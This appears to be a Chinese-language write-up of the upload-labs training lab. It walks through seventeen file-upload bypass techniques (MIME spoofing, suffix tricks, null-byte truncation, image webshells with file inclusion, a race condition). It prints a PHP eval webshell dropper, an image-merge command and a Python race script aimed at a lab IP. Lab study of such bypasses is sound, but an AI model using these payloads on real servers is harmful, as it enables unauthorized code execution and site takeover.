upload-labs(文件上传手法练习)
1 禁用 JS
不允许上传 .php 文件
提示使用 js 检查
禁用 js
再次上传,成功
连接蚁剑
http://10.9.47.241/upload/1.php
2 更改 Content-Type
提示 mime 检查
上传 2.php
http://10.9.47.241/upload/1.php
BurpSuite 抓包拦截,更改 Content-Type 为 image/jpeg
放包,上传成功
蚁剑连接
3 phtml
提示
上传 3.phtml
一句话木马文件
.phtml
是一种文件扩展名,通常用于 PHP 混合 HTML(PHP Hypertext Preprocessor)文件。在某些情况下,服务器可能会配置为解析.phtml
文件并将其作为 PHP 文件来执行。
http://10.9.47.241/upload/1.php
4 多后缀
提示,禁止以下后缀
网站使用了 apache,存在文件解析漏洞
当后缀名无法识别时,会再次向左识别前一个后缀
上传一句话木马文件 4.php.gjl
蚁剑连接
5 大小写
查看提示
并且源码中没有转换为小写的过滤
大小写绕过
上传 5.PhP
蚁剑连接
6 文件名加空格
源码缺少了收尾去空
结尾加空格绕过
7 文件名加 .
源码中未限制删除文章末尾的点
上传,抓包,在木马文件名后面加 .
蚁剑连接
8 文件名加 ::$DATA
源码未限制去除字符串::$DATA
php在window的时候如果文件名+“:: D A T A " 会把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA"之前的文件名
连接
9 单次过滤
提示
源码没有对文件重命名
抓包拦截,在文件名 9.php
后面添加点空格点
即. .
,过滤未循环执行,去掉最后一个点和空格,还剩一个点,而点前的文件名 9.php
不会像前面几关那样被重命名,php
后缀还在,可以被执行
10 双写后缀
提示
查看源码
双写绕过 10.pphphp
,当检测替换其中的 php
时,被断开的 php 重新拼接成后缀
11 %00
截断
源码
截断使用条件
- PHP<5.3.29,且 GPC 关闭
在 url 中 %00 表示 ascll 码中的 0 ,0x00 是十六进制表示方法,也是 ascii 码为 0 的字符,在有些函数处理时,会把这个字符当做结束符。
12 post 传参 00
截断
源码:
比 11 关增加了文件重命名
php 后写一个字符占位
将 x 对应的地方改为 00
放包,蚁剑连接
13 一句话图片马
提示:
jpg
生成一句话木马图片,在最后加入一句话木马(过滤只检查图片文件开头)
copy kun.jpg/b+13.php/a kunkun.jpg
直接上传文件
由于是 .jpg 后缀,无法直接解析 php 代码
利用文件包含(无视后缀解析 php 代码)
http://10.9.47.241/include.php?file=upload/6320231116210429.jpg
蚁剑连接
png
制作图片马也可以右键编辑图片,直接在最后加入一句话木马
GIF
14 一句话图片马
同 13 关
jpg
png
gif
15 一句话图片马
同 13、14
jpg
png
gif
16 二次渲染
上传图片后,服务器根据图片重新生成了新的图片
漏洞点:比较上传前的图片和二次渲染后图片中相同的地方,在该未被二次渲染的部分写入一句话木马
GIF 图片未被二次渲染的地方比较多,其他类型的图片可能出现位数不够的问题
使用 010 editor 打开原 gif 图片
上传 gif 图片,将二次渲染后的图片保存下来
使用 010 editor 打开保存的 gif 图片
对比相同部分(不要修改 开头部分,否则不会被识别为 GIF 图,无法上传)
文件包含,蚁剑连接
17 条件竞争
漏洞点
在上传文件源代码里面有校验上传的文件,文件直接上传,上传成功后才进行判断;如果文件格式符合的情况下,则重命名,如果文件格式不符合要求,就将文件删除。
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在
利用其中第二种情况,发送大量文件上传请求,并发送大量的访问 php 文件的请求,在删除文件的间隙完成对 php 文件的请求,执行 php 命令
此处文件在不断上传,删除,因此无法使用蚁剑直接连接,可以将一句话木马的 php 语句替换为生成一句话木马的语句,当在删除的间隙 执行 php 文件时,会自动生成一个一句话 php 木马
17.php
<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?>
漏洞复现
上传 17.php 文件,BurpSuite 抓包,发送到 Intruder 模块
清除有效负载标记
线程数调高,调为 20
有效载荷选择 null,无限重复,开始攻击(无限上传 17.php)
编写 Python 脚本请求执行 17.php,当成功请求到 17.php页面时,自动生成 shell.php 木马文件,脚本停止执行
import requests
url = "http://10.9.47.241/upload/17.php"
i=1
while True:
print(f"[{i}]" + "尝试访问")
i += 1
res = requests.get(url)
if res.status_code!=404 and "Warning" not in res.text:
print(res.text)
break
蚁剑连接 shell.php